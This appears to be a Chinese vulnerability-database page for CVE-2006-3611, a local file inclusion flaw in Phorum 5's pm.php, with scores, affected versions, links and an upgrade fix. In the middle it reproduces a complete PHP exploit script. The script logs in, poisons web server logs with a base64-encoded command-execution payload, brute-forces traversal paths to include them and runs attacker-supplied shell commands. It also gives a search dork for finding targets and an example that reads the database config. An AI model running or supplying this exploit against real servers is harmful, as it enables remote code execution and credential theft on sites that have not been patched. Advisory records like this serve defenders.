CVE-2006-3611
CVSS5.5
发布时间 :2006-07-18 11:46:00
修订时间 :2011-03-07 21:39:05
NMCOE    

[原文]Directory traversal vulnerability in pm.php in Phorum 5 allows remote authenticated users to include and execute arbitrary local files via directory traversal sequences in the GLOBALS[template] parameter, as demonstrated by injecting PHP sequences into a log file, which is then included by pm.php.


[CNNVD]Phorum 5 'pm.php'目录遍历漏洞(CNNVD-200607-270)

        Phorum 5中的pm.php存在目录遍历漏洞。远程认证用户可以借助GLOBALS[template]参数中的目录遍历序列,包含并执行任意本地文件。比如将PHP序列注入日志文件,然后由pm.php包含。

- CVSS (基础分值)

CVSS分值: 5.5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:phorum:phorum:3.4Phorum 3.4
cpe:/a:phorum:phorum:5.0.3_beta
cpe:/a:phorum:phorum:3.1.1a
cpe:/a:phorum:phorum:3.3.1a
cpe:/a:phorum:phorum:5.0.9Phorum 5.0.9
cpe:/a:phorum:phorum:3.2.5Phorum 3.2.5
cpe:/a:phorum:phorum:3.3.2a
cpe:/a:phorum:phorum:3.2.7Phorum 3.2.7
cpe:/a:phorum:phorum:5.0.18Phorum 5.0.18
cpe:/a:phorum:phorum:3.2.2Phorum 3.2.2
cpe:/a:phorum:phorum:5.0.8_rc
cpe:/a:phorum:phorum:3.1.1Phorum 3.1.1
cpe:/a:phorum:phorum:3.4.3Phorum 3.4.3
cpe:/a:phorum:phorum:3.2.8Phorum 3.2.8
cpe:/a:phorum:phorum:3.2.3b
cpe:/a:phorum:phorum:3.2.3Phorum 3.2.3
cpe:/a:phorum:phorum:5.1.14Phorum 5.1.14
cpe:/a:phorum:phorum:3.3.1Phorum 3.3.1
cpe:/a:phorum:phorum:5.0.17Phorum 5.0.17
cpe:/a:phorum:phorum:3.4.8a
cpe:/a:phorum:phorum:3.2.4Phorum 3.2.4
cpe:/a:phorum:phorum:3.1.1_rc2
cpe:/a:phorum:phorum:5.0.11Phorum 5.0.11
cpe:/a:phorum:phorum:5.0.14Phorum 5.0.14
cpe:/a:phorum:phorum:5.0.6_beta
cpe:/a:phorum:phorum:3.4.1Phorum 3.4.1
cpe:/a:phorum:phorum:3.4.8Phorum 3.4.8
cpe:/a:phorum:phorum:5.0.0_alpha
cpe:/a:phorum:phorum:3.0.7Phorum 3.0.7
cpe:/a:phorum:phorum:5.0.14a
cpe:/a:phorum:phorum:5.0.13Phorum 5.0.13
cpe:/a:phorum:phorum:3.1Phorum 3.1
cpe:/a:phorum:phorum:5.0.19Phorum 5.0.19
cpe:/a:phorum:phorum:5.0.15Phorum 5.0.15
cpe:/a:phorum:phorum:5.0.7_beta
cpe:/a:phorum:phorum:5.0.1_alpha
cpe:/a:phorum:phorum:5.0.7a_beta
cpe:/a:phorum:phorum:5.1.13Phorum 5.1.13
cpe:/a:phorum:phorum:5.0.16Phorum 5.0.16
cpe:/a:phorum:phorum:5.0.4_beta
cpe:/a:phorum:phorum:5.0.15a
cpe:/a:phorum:phorum:3.2.3a
cpe:/a:phorum:phorum:3.1.2Phorum 3.1.2
cpe:/a:phorum:phorum:5.0.4a_beta
cpe:/a:phorum:phorum:3.4.5Phorum 3.4.5
cpe:/a:phorum:phorum:5.0.12Phorum 5.0.12
cpe:/a:phorum:phorum:5.0.20Phorum 5.0.20
cpe:/a:phorum:phorum:3.4.2Phorum 3.4.2
cpe:/a:phorum:phorum:3.4.7Phorum 3.4.7
cpe:/a:phorum:phorum:3.3.2Phorum 3.3.2
cpe:/a:phorum:phorum:3.1.1_pre
cpe:/a:phorum:phorum:5.0.5_beta
cpe:/a:phorum:phorum:5.0.17a
cpe:/a:phorum:phorum:4.3.7Phorum 4.3.7
cpe:/a:phorum:phorum:3.3.2b3
cpe:/a:phorum:phorum:3.2Phorum 3.2
cpe:/a:phorum:phorum:3.2.6Phorum 3.2.6
cpe:/a:phorum:phorum:5.0.2_alpha
cpe:/a:phorum:phorum:5.0.13a
cpe:/a:phorum:phorum:3.4.4Phorum 3.4.4
cpe:/a:phorum:phorum:5.0.10Phorum 5.0.10
cpe:/a:phorum:phorum:3.4.6Phorum 3.4.6

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3611
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3611
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200607-270
(官方数据源) CNNVD

- 其它链接及资源

http://www.phorum.org/phorum5/read.php?14,114358
(PATCH)  MISC  http://www.phorum.org/phorum5/read.php?14,114358
http://www.vupen.com/english/advisories/2006/2794
(UNKNOWN)  VUPEN  ADV-2006-2794
http://www.securityfocus.com/archive/1/archive/1/439976/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060713 PHORUM 5 arbitrary local inclusion
http://retrogod.altervista.org/phorum5_local_incl_xpl.html
(UNKNOWN)  MISC  http://retrogod.altervista.org/phorum5_local_incl_xpl.html

- 漏洞信息

Phorum 5 'pm.php'目录遍历漏洞
中危 路径遍历
2006-07-18 00:00:00 2006-07-19 00:00:00
远程  
        Phorum 5中的pm.php存在目录遍历漏洞。远程认证用户可以借助GLOBALS[template]参数中的目录遍历序列,包含并执行任意本地文件。比如将PHP序列注入日志文件,然后由pm.php包含。

- 公告与补丁

        暂无数据

- 漏洞信息 (2008)

Phorum 5 (pm.php) Arbitrary Local Inclusion Exploit (EDBID:2008)
php webapps
2006-07-13 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHORUM 5 arbitrary local inclusion exploit\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork: \"This forum powered by Phorum.\"\n\n";
/*
works with:
register_globals=On
magic_quotes_gpc=Off
*/
if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to phorum\n";
echo "user/pass: you need a valid user account\n";
echo "cmd:       a shell command\n";
echo "Options:\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "Examples:\n";
echo "php ".$argv[0]." a.b.c.d /phorum/ username password ls -la\n";
echo "php ".$argv[0]." a.b.c.d / username password ls -la -P1.1.1.1:8080\n";
echo "php ".$argv[0]." a.b.c.d / username password cat ./include/db/config.php -p81\n";
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$cmd="";
$port=80;
$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Login ...\r\n";
$data="forum_id=0";
$data.="&redir=http%3A%2F%2F".$host."%2Findex.php";
$data.="&username=".$user;
$data.="&password=".$pass;
$packet ="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: phorum_tmp_cookie=this+will+be+destroyed+once+logged+in\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<=count($temp); $i++)
{
  $temp2=explode(" ",$temp[$i]);
  $cookie.=" ".$temp2[0];
}
if ($cookie==" ") {die("unable to login...");}
echo "cookie -> ".$cookie."\n";
echo "[2] Injecting some code in log files...\r\n";
$CODE ='echo phorum_xpl;system($_COOKIE[cmd]);echo phorum_xpl;die();';
$CODE ='<?php eval(base64_decode('.base64_encode($CODE).'));?>';
$packet="GET ".$p.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);

# fill with possible locations
$paths= array (
"../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../var/log/error_log"
);

for ($i=0; $i<=count($paths)-1; $i++)
{
  $a=$i+3;
  echo "[".$a."] trying with $paths[$i]%00 for template argument\r\n";
  $packet="GET ".$p."pm.php?1,page=1&GLOBALS[template]=".urlencode($paths[$i])."%00 HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Cookie: ".$cookie." cmd=".$cmd.";\r\n";
  $packet.="Connection: Close\r\n\r\n";
  sendpacketii($packet);
  if (strstr($html,"phorum_xpl"))
  {
  echo "exploit succeeded...\n\n";
  $temp=explode("phorum_xpl",$html);
  echo $temp[1]; die;
  }
}
//if you are here...
echo "exploit failed...";
?>

# milw0rm.com [2006-07-13]
		

- 漏洞信息

27164
Phorum pm.php template Parameter Local File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Phorum contains a flaw that may allow an attacker to include arbitrary files from local resources. The issue is due to 'pm.php' not properly sanitizing user input supplied to the 'template' variable. This may allow an attacker to inject arbitrary PHP code into the web logs before including the log via the vulnerable script.

- 时间线

2006-07-13 Unknow
2006-07-13 Unknow

- 解决方案

Upgrade to version 5.1.15 or higher, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround(s): Disable register_globals PHP option.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站